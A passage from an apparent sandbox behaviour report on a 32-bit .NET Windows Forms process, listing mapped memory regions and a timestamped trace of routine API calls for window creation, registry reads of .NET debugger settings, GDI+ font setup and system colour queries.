"c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 272 start_va = 0x73c90000 end_va = 0x73e2dfff entry_point = 0x73c90000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 273 start_va = 0x380000 end_va = 0x380fff entry_point = 0x380000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 274 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 275 start_va = 0x74ce0000 end_va = 0x74cf2fff entry_point = 0x74ce0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 276 start_va = 0x52e0000 end_va = 0x54f8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052e0000" filename = "" Region: id = 277 start_va = 0x380000 end_va = 0x386fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 278 start_va = 0x3e0000 end_va = 0x3e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 279 start_va = 0x6240000 end_va = 0x6632fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006240000" filename = "" Region: id = 280 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 281 start_va = 0x400000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 282 start_va = 0x3f0000 end_va = 0x3f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 283 start_va = 0xe40000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 284 start_va = 0x5540000 end_va = 0x563ffff entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 285 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 286 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x3f0000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 287 start_va = 0x400000 end_va = 0x401fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 288 start_va = 0x400000 end_va = 0x400fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 289 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 290 start_va = 0x410000 end_va = 0x410fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 291 start_va = 0x4550000 end_va = 0x45cffff entry_point = 0x0 region_type = private name = "private_0x0000000004550000" filename = "" Region: id = 292 start_va = 0x45e0000 end_va = 0x461ffff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 293 start_va = 0x420000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 294 start_va = 0x550000 end_va = 0x551fff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 295 start_va = 0x550000 end_va = 0x553fff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 296 start_va = 0x74050000 end_va = 0x7414afff entry_point = 0x74050000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 297 start_va = 0x550000 end_va = 0x554fff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 298 start_va = 0x2340000 end_va = 0x23a2fff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 299 start_va = 0x4e20000 end_va = 0x4f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 300 start_va = 0x560000 end_va = 0x58efff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 301 start_va = 0x590000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 302 start_va = 0x52e0000 end_va = 0x54f8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052e0000" filename = "" Region: id = 303 start_va = 0x5a0000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 304 start_va = 0x6c0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 307 start_va = 0x6e0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 308 start_va = 0xcc0000 end_va = 0xcd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 309 start_va = 0x4a10000 end_va = 0x4a50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a10000" filename = "" Region: id = 310 start_va = 0x4f30000 end_va = 0x4f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 311 start_va = 0x6b0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 312 start_va = 0x6f0000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 313 start_va = 0x76420000 end_va = 0x76424fff entry_point = 0x76420000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 314 start_va = 0x6d0000 end_va = 0x6dffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 315 start_va = 0x52f0000 end_va = 0x532ffff entry_point = 0x0 region_type = private name = "private_0x00000000052f0000" filename = "" Region: id = 316 start_va = 0x53d0000 end_va = 0x54cffff entry_point = 0x0 region_type = private name = "private_0x00000000053d0000" filename = "" Region: id = 317 start_va = 0x5680000 end_va = 0x56bffff entry_point = 0x0 region_type = private name = "private_0x0000000005680000" filename = "" Region: id = 318 start_va = 0x6760000 end_va = 0x685ffff entry_point = 0x0 region_type = private name = "private_0x0000000006760000" filename = "" Region: id = 319 start_va = 0x7ef3d000 end_va = 0x7ef3ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef3d000" filename = "" Region: id = 320 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 321 start_va = 0x6860000 end_va = 0x69dffff entry_point = 0x6860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 322 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 323 start_va = 0x73bb0000 end_va = 0x73c83fff entry_point = 0x73bb0000 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll") Region: id = 324 start_va = 0xcf0000 end_va = 0xcf0fff entry_point = 0xcf0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 325 start_va = 0xcf0000 end_va = 0xcf0fff entry_point = 0xcf0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 326 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 327 start_va = 0xcf0000 end_va = 0xcf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 328 start_va = 0xd00000 end_va = 0xd00fff entry_point = 0xd00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 329 start_va = 0xd00000 end_va = 0xd06fff entry_point = 0xd00000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 330 start_va = 0xd00000 end_va = 0xd00fff entry_point = 0xd00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 331 start_va = 0xd00000 end_va = 0xd06fff entry_point = 0xd00000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 332 start_va = 0xd00000 end_va = 0xd00fff entry_point = 0xd00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 333 start_va = 0xd00000 end_va = 0xd06fff entry_point = 0xd00000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 334 start_va = 0xd70000 end_va = 0xd7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 335 start_va = 0x4cc0000 end_va = 0x4ce8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004cc0000" filename = "" Region: id = 1838 start_va = 0x69e0000 end_va = 0x6bf8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000069e0000" filename = "" Thread: id = 1 os_tid = 0x420 [0029.563] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0033.587] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc13b [0033.587] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc13d [0038.641] GetCurrentProcess () returned 0xffffffff [0038.642] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x32ed94 | out: TokenHandle=0x32ed94*=0x1e4) returned 1 [0038.921] GetCurrentProcess () returned 0xffffffff [0038.922] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x32edf0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x32edf0*=0x1ec) returned 1 [0039.045] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0039.824] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x743d0000 [0039.905] GetModuleHandleW (lpModuleName="user32.dll") returned 0x756f0000 [0039.906] GetProcAddress (hModule=0x756f0000, lpProcName="DefWindowProcW") returned 0x778825dd [0039.906] GetStockObject (i=5) returned 0x1900015 [0039.975] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0040.065] CoTaskMemAlloc (cb=0x5c) returned 0x6285b0 [0040.065] RegisterClassW (lpWndClass=0x32ec08) returned 0xc13c [0040.065] CoTaskMemFree (pv=0x6285b0) [0040.065] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0040.066] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x401a0 [0040.066] SetWindowLongW (hWnd=0x401a0, nIndex=-4, dwNewLong=2005411293) returned 14288902 [0040.067] GetWindowLongW (hWnd=0x401a0, nIndex=-4) returned 2005411293 [0040.342] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x32e518 | out: phkResult=0x32e518*=0x1fc) returned 0x0 [0040.342] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x32e538, lpData=0x0, lpcbData=0x32e534*=0x0 | out: lpType=0x32e538*=0x0, lpData=0x0, lpcbData=0x32e534*=0x0) returned 0x2 [0040.342] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x32e538, lpData=0x0, lpcbData=0x32e534*=0x0 | out: lpType=0x32e538*=0x0, lpData=0x0, lpcbData=0x32e534*=0x0) returned 0x2 [0040.342] RegCloseKey (hKey=0x1fc) returned 0x0 [0040.375] SetWindowLongW (hWnd=0x401a0, nIndex=-4, dwNewLong=14288942) returned 2005411293 [0040.376] GetWindowLongW (hWnd=0x401a0, nIndex=-4) returned 14288942 [0040.376] GetWindowLongW (hWnd=0x401a0, nIndex=-16) returned 113311744 [0040.381] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc059 [0040.382] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc139 [0040.382] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x401a0, Msg=0x81, wParam=0x0, lParam=0x32e7e4) returned 0x1 [0040.382] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x401a0, Msg=0x83, wParam=0x0, lParam=0x32e7d0) returned 0x0 [0040.382] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x401a0, Msg=0x1, wParam=0x0, lParam=0x32e7e4) returned 0x0 [0040.382] GetClientRect (in: hWnd=0x401a0, lpRect=0x32e54c | out: lpRect=0x32e54c) returned 1 [0040.383] GetWindowRect (in: hWnd=0x401a0, lpRect=0x32e54c | out: lpRect=0x32e54c) returned 1 [0040.383] GetParent (hWnd=0x401a0) returned 0x0 [0040.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x32ec64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0040.627] IsAppThemed () returned 0x1 [0040.669] CoTaskMemAlloc (cb=0xf0) returned 0x6451d8 [0040.669] CreateActCtxA (pActCtx=0x32f160) returned 0x643e84 [0040.795] CoTaskMemFree (pv=0x6451d8) [0041.069] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.070] AdjustWindowRectEx (in: lpRect=0x32ec58, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x32ec58) returned 1 [0041.327] EtwEventRegister () returned 0x0 [0041.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.331] AdjustWindowRectEx (in: lpRect=0x32e64c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e64c) returned 1 [0041.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.353] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.355] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.355] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.358] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.358] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.360] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.360] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.362] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.362] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.363] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.364] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.365] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.365] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.366] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.366] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.377] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.377] AdjustWindowRectEx (in: lpRect=0x32e658, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32e658) returned 1 [0041.379] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0041.379] AdjustWindowRectEx (in: lpRect=0x32e650, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e650) returned 1 [0041.542] GdiplusStartup (in: token=0x156a50, input=0x32db40, output=0x32db90 | out: token=0x156a50, output=0x32db90) returned 0x0 [0041.583] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0041.616] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x258eff8) returned 0x0 [0042.186] GdipGetFontSize (font=0x4b7fe98, size=0x258effc) returned 0x0 [0042.242] GetSystemDefaultLCID () returned 0x409 [0042.242] GetStockObject (i=17) returned 0x18a0025 [0042.312] GetObjectW (in: h=0x18a0025, c=92, pv=0x32e4d4 | out: pv=0x32e4d4) returned 92 [0042.313] GetDC (hWnd=0x0) returned 0x3010821 [0042.317] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0042.317] GdipCreateFontFromLogfontW (hdc=0x3010821, logfont=0x6284e0, font=0x32e59c) returned 0x0 [0043.286] CoTaskMemFree (pv=0x6284e0) [0043.287] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.287] CoTaskMemFree (pv=0x6284e0) [0043.287] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0043.287] CoTaskMemFree (pv=0x6284e0) [0043.288] GdipGetFontUnit (font=0x4b7ff30, unit=0x32e568) returned 0x0 [0043.288] GdipGetFontSize (font=0x4b7ff30, size=0x32e56c) returned 0x0 [0043.288] GdipGetFontStyle (font=0x4b7ff30, style=0x32e564) returned 0x0 [0043.288] GdipGetFamily (font=0x4b7ff30, family=0x32e560) returned 0x0 [0043.288] GdipGetFontSize (font=0x4b7ff30, size=0x258f664) returned 0x0 [0043.288] ReleaseDC (hWnd=0x0, hDC=0x3010821) returned 1 [0043.289] GetDC (hWnd=0x0) returned 0x3010821 [0043.333] GdipCreateFromHDC (hdc=0x3010821, graphics=0x32e588) returned 0x0 [0043.334] GdipGetDpiY (graphics=0x4c27018, dpi=0x258f76c) returned 0x0 [0043.334] GdipGetFontHeight (font=0x4b7ff30, graphics=0x4c27018, height=0x32e580) returned 0x0 [0043.334] GdipGetEmHeight (family=0x4b7f690, style=0, EmHeight=0x32e588) returned 0x0 [0043.334] GdipGetLineSpacing (family=0x4b7f690, style=0, LineSpacing=0x32e588) returned 0x0 [0043.335] GdipDeleteGraphics (graphics=0x4c27018) returned 0x0 [0043.335] ReleaseDC (hWnd=0x0, hDC=0x3010821) returned 1 [0043.335] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=0, unit=0x3, font=0x258f72c) returned 0x0 [0043.335] GdipGetFontSize (font=0x4cb8f90, size=0x258f730) returned 0x0 [0043.335] GdipDeleteFont (font=0x4b7ff30) returned 0x0 [0043.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.343] AdjustWindowRectEx (in: lpRect=0x32e5dc, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5dc) returned 1 [0043.375] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x258fe88, nLength=0xc, lpnLengthNeeded=0x32e4b8 | out: pvInfo=0x258fe88, lpnLengthNeeded=0x32e4b8) returned 1 [0043.379] SetConsoleCtrlHandler (HandlerRoutine=0xda087e, Add=1) returned 1 [0043.379] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0043.380] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0043.383] GetClassInfoW (in: hInstance=0xea0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x258feec | out: lpWndClass=0x258feec) returned 0 [0043.384] CoTaskMemAlloc (cb=0x58) returned 0x5edf58 [0043.385] RegisterClassW (lpWndClass=0x32e408) returned 0xc137 [0043.385] CoTaskMemFree (pv=0x5edf58) [0043.386] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x500fe [0043.388] NtdllDefWindowProc_W () returned 0x0 [0043.388] NtdllDefWindowProc_W () returned 0x0 [0043.388] NtdllDefWindowProc_W () returned 0x0 [0043.388] NtdllDefWindowProc_W () returned 0x0 [0043.403] GetSysColor (nIndex=10) returned 0xb4b4b4 [0043.403] GetSysColor (nIndex=2) returned 0xd1b499 [0043.403] GetSysColor (nIndex=9) returned 0x0 [0043.403] GetSysColor (nIndex=12) returned 0xababab [0043.404] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.404] GetSysColor (nIndex=20) returned 0xffffff [0043.404] GetSysColor (nIndex=16) returned 0xa0a0a0 [0043.404] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.404] GetSysColor (nIndex=16) returned 0xa0a0a0 [0043.404] GetSysColor (nIndex=21) returned 0x696969 [0043.404] GetSysColor (nIndex=22) returned 0xe3e3e3 [0043.404] GetSysColor (nIndex=20) returned 0xffffff [0043.404] GetSysColor (nIndex=18) returned 0x0 [0043.404] GetSysColor (nIndex=1) returned 0x0 [0043.404] GetSysColor (nIndex=27) returned 0xead1b9 [0043.404] GetSysColor (nIndex=28) returned 0xf2e4d7 [0043.404] GetSysColor (nIndex=17) returned 0x6d6d6d [0043.404] GetSysColor (nIndex=13) returned 0xff9933 [0043.404] GetSysColor (nIndex=14) returned 0xffffff [0043.404] GetSysColor (nIndex=26) returned 0xcc6600 [0043.404] GetSysColor (nIndex=11) returned 0xfcf7f4 [0043.404] GetSysColor (nIndex=3) returned 0xdbcdbf [0043.404] GetSysColor (nIndex=19) returned 0x544e43 [0043.404] GetSysColor (nIndex=24) returned 0xe1ffff [0043.404] GetSysColor (nIndex=23) returned 0x0 [0043.404] GetSysColor (nIndex=4) returned 0xf0f0f0 [0043.404] GetSysColor (nIndex=30) returned 0xf0f0f0 [0043.404] GetSysColor (nIndex=29) returned 0xff9933 [0043.405] GetSysColor (nIndex=7) returned 0x0 [0043.405] GetSysColor (nIndex=0) returned 0xc8c8c8 [0043.405] GetSysColor (nIndex=5) returned 0xffffff [0043.405] GetSysColor (nIndex=6) returned 0x646464 [0043.405] GetSysColor (nIndex=8) returned 0x0 [0043.405] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.405] AdjustWindowRectEx (in: lpRect=0x32e5dc, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5dc) returned 1 [0043.557] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.557] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x25904e8) returned 0x0 [0043.557] GdipGetFontSize (font=0x4b7ff30, size=0x25904ec) returned 0x0 [0043.558] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.558] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.558] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.558] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.561] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.561] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x2590720) returned 0x0 [0043.561] GdipGetFontSize (font=0x4cb8fb8, size=0x2590724) returned 0x0 [0043.561] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.561] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.561] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.561] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.563] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.564] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x2590948) returned 0x0 [0043.564] GdipGetFontSize (font=0x4c8b8c0, size=0x259094c) returned 0x0 [0043.564] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.564] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.564] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.564] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.566] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.566] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x2590b80) returned 0x0 [0043.566] GdipGetFontSize (font=0x4c8b8e8, size=0x2590b84) returned 0x0 [0043.567] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.567] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.567] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.567] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.569] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.569] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, style=1, unit=0x3, font=0x2590d74) returned 0x0 [0043.569] GdipGetFontSize (font=0x4c8b910, size=0x2590d78) returned 0x0 [0043.569] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.569] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.570] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x743d0000 [0043.570] AdjustWindowRectEx (in: lpRect=0x32e5b0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32e5b0) returned 1 [0043.572] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32e62c) returned 0x0 [0043.572] GdipCreateFont (fontFamily=0x4b7f690, emSize=0x41040000, 